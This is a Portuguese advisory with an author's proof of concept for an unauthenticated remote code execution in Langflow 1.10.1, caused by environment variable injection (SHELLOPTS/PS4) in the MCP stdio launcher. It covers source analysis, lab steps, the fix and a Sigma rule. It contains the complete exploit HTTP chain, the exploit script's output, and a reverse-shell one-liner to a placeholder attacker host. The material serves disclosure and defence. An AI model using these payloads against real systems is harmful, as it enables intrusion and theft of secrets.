
CVE-2026-12940 — Langflow OSS <=1.10.1 RCE não autenticado via injeção de variáveis de ambiente MCP stdio (SHELLOPTS/PS4). PoC do autor + análise de código-fonte + laboratório.
Execução remota de código não autenticada no Langflow
OSS até 1.10.1. A lista de bloqueio de variáveis de ambiente que protege a configuração de servidores
stdio MCP (DANGEROUS_ENV_VARS) omite SHELLOPTS, BASHOPTS e PS4. Como o
launcher stdio MCP executa o comando configurado via bash -c, um atacante pode injetar
SHELLOPTS=xtrace e uma substituição de comando em PS4 e executar comandos arbitrários de shell
como o usuário do processo Langflow — sem comando MCP válido, sem autenticação em uma instalação padrão.
| CVE | CVE-2026-12940 |
| Produto | Langflow OSS |
| Afetadas | 1.0.0 – 1.10.1 |
| Corrigida | 1.10.2 |
| Classe | Injeção de Comandos do SO (CWE-78) via injeção de variável de ambiente |
| CVSS 3.1 | 9.8 CRÍTICO — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| Autenticação | Não autenticada em instalação padrão (AUTO_LOGIN ativado por padrão na 1.10.1) |
| Status | CONFIRMADO VULNERÁVEL — verificado de ponta a ponta em langflowai/langflow:1.10.1 |
O Langflow permite que um usuário registre servidores stdio MCP (Model Context Protocol) externos via
POST /api/v2/mcp/servers/{name}. O corpo da requisição é validado por MCPServerConfig
(src/backend/base/langflow/api/v2/schemas.py), que é cuidadoso com command, args
e com as chaves de env:
command deve estar em uma lista de permitidos (node, python, npx, uvx, docker, sh, bash…).args são verificados quanto a metacaracteres de shell (;, |, $, `, (, ), …) e
palavras-chave perigosas (-c, eval, pip install, …).DANGEROUS_ENV_VARS (LD_PRELOAD, PATH, NODE_OPTIONS,
PYTHONPATH, BASH_ENV, …).Duas lacunas se combinam para viabilizar RCE:
Os valores de env nunca são saneados. Apenas as chaves são verificadas contra a lista de bloqueio; os
valores são repassados literalmente. Assim, um valor $(id) em PS4 sobrevive mesmo que os
exatos mesmos caracteres fossem rejeitados dentro de args.
A lista de bloqueio está incompleta. Na 1.10.1, DANGEROUS_ENV_VARS não contém
shellopts, bashopts ou ps4.
O launcher (src/lfx/src/lfx/base/mcp/util.py) então executa, no Unix:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
Com SHELLOPTS=xtrace, o bash ativa set -x na inicialização e, antes de executar a primeira
linha rastreada, expande o prompt PS4. A substituição de comando dentro de PS4, portanto,
é executada imediatamente — independentemente de command/args, que nem precisam ser válidos.
A lista de bloqueio é centralizada em src/lfx/src/lfx/base/mcp/util.py como DANGEROUS_MCP_ENV_VARS
e ganha shellopts, bashopts, ps4 (além de env, como defesa em profundidade). schemas.py agora
chama is_dangerous_mcp_env_var(). O registro abaixo é rejeitado com HTTP 422 na 1.10.2.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
A cadeia HTTP bruta:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 fornece uma primitiva bruta para shells reversos / callbacks OAST:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
Comportamento na versão corrigida (rejeitado):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
Veja EVIDENCE.txt para a transcrição completa capturada e
ANALYSIS.md para a análise detalhada em nível de código-fonte.
CONFIRMADO VULNERÁVEL em langflowai/langflow:1.10.1, verificado por duas
técnicas independentes:
uid=1000(user) gid=0(root) groups=0(root), a saída real de id(1) resolvida
contra o /etc/passwd do alvo. Isso não é um eco da string de entrada $(id …).CALLBACK user@vbox 6.18.12+kali-amd64).CORRIGIDO em langflowai/langflow:1.10.2 — o mesmo registro retorna HTTP 422.
Nota sobre a alegação de não autenticado. A imagem 1.10.1 é distribuída com
AUTO_LOGINativado por padrão, portanto/api/v1/auto_loginretorna um token de superusuário para qualquer chamador, sem credenciais — é isso que torna toda a cadeia não autenticada em uma implantação padrão. Em uma instância onde a autenticação é aplicada, o mesmo RCE é alcançável por qualquer usuário autenticado com um token/chave de API válido (passe-o via--token). A imagem 1.10.2 adicionalmente exige credenciais para iniciar, um hardening não relacionado.
Execução arbitrária de comandos como a conta de serviço do Langflow. Leitura completa de todos os segredos, credenciais e flows no banco de dados do Langflow, acesso a serviços internos e metadados de nuvem e um pivô para a rede ao redor.
AUTO_LOGIN ativado; defina credenciais explícitas
de superusuário e desative o login automático.Procure por registros de servidores MCP cujo env contenha variáveis de controle de shell e por
processos filhos bash do processo Langflow:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (criação de processos):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).